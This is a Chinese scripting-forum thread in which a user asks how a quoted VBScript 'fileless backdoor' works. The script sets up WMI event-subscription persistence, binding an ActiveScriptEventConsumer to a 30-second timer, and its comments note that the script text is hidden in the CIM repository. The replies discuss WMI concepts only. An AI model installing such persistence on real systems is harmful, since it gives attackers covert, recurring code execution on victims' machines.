Board logo

标题: [问题求助] VBS脚本“三无后门”的几个问题 [已解决] [打印本页]

作者: wankoilz    时间: 2013-1-23 12:56     标题: VBS脚本“三无后门”的几个问题 [已解决]

本帖最后由 wankoilz 于 2013-3-6 21:12 编辑

我看了Demon的博客里面“三无后门”的代码后有几个问题,还请指导一下:
代码来自http://demon.tw/copy-paste/vbs-wmi-trojan-3.html
  1. '一个绑定事件和ASEC的实例。
  2. Function InstallUpdateableTrojan
  3. WMILink="winmgmts:\\.\root\cimv2:" 'ASEC所在的名称空间
  4. TrojanName="ScriptKids" '自定义的消费者名字,也就是你的后门的名字
  5. TrojanRunTimer=30000 '自定义的脚本运行间隔
  6. strtxt="" '自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库
  7. '配置事件消费者'
  8. set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
  9. Asec.name=TrojanName&"_consumer"
  10. Asec.scriptingengine="vbscript"
  11. Asec.scripttext=strtxt
  12. set Asecpath=Asec.put_
  13. '配置计时器'
  14. set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
  15. WMITimer.timerid=TrojanName&"_WMITimer"
  16. WMITimer.intervalbetweenevents=TrojanRunTimer
  17. WMITimer.skipifpassed=false
  18. WMITimer.put_
  19. '配置事件过滤器'
  20. set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
  21. EventFilter.name=TrojanName&"_filter"
  22. EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
  23. EventFilter.querylanguage="wql"
  24. set FilterPath=EventFilter.put_
  25. '绑定消费者和过滤器'
  26. set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
  27. Binds.consumer=Asecpath.path
  28. Binds.filter=FilterPath.path
  29. Binds.put_
  30. End Function
复制代码
问题1
里面出现了 set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_ 这种路径写法,
为什么获取其他实例比如 win32_process 时写成
set objprocesses=getobject("winmgmts:\\.\root\cimv2:win32_process").spawninstance_这样不行呢?
是因为 ActiveScriptEventConsumer 属于系统类吗?
还有,http://bbs.bathome.net/thread-21979-1-1.html 这里居然有 getobject("winmgmts:win32_process").instances_ 这种写法... ...
感觉真是太灵活了吧,有点头大... ...

问题2
set Asecpath=Asec.put_   其中 Asecpath 是一个什么对象呢?我知道这是为了获取它的 path 属性,但它和 Asec 这个对象有什么关系呢?

问题3
看了这个问题大家不要见笑啊,既然专门设计一个绑定的类,为什么不直接设计成绑定 具体事件和消费者 ,而要整成绑定 过滤出来的事件和消费者呢... ...
直接绑定 事件id和消费者id  不就可以了吗,是不是多此一举呢?
勿怪!
作者: wankoilz    时间: 2013-1-24 16:10

补问一个:
__eventconsumer和ASEC有什么区别呢?
作者: wankoilz    时间: 2013-3-6 21:11

通过反复学习 《WMI入门教程》(三部分),以上问题基本上解决了。
http://demon.tw/programming/wmi-scripting-primer-part-1.html
作者: czjt1234    时间: 2013-3-11 22:20

朋友,你倒把你的心得体会说一下啊~
作者: wankoilz    时间: 2013-3-11 23:22

这个真是一言难尽啊,我觉得应该要把WMI基本结构模型,类定义,WMI脚本库(就是入门三部曲)等概念搞清楚,结合wbemtest.exe查看相应类定义的方法、属性、限定符等才能够系统了解。
Demon兄的博客还是很严谨很专业的,看了不后悔!




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2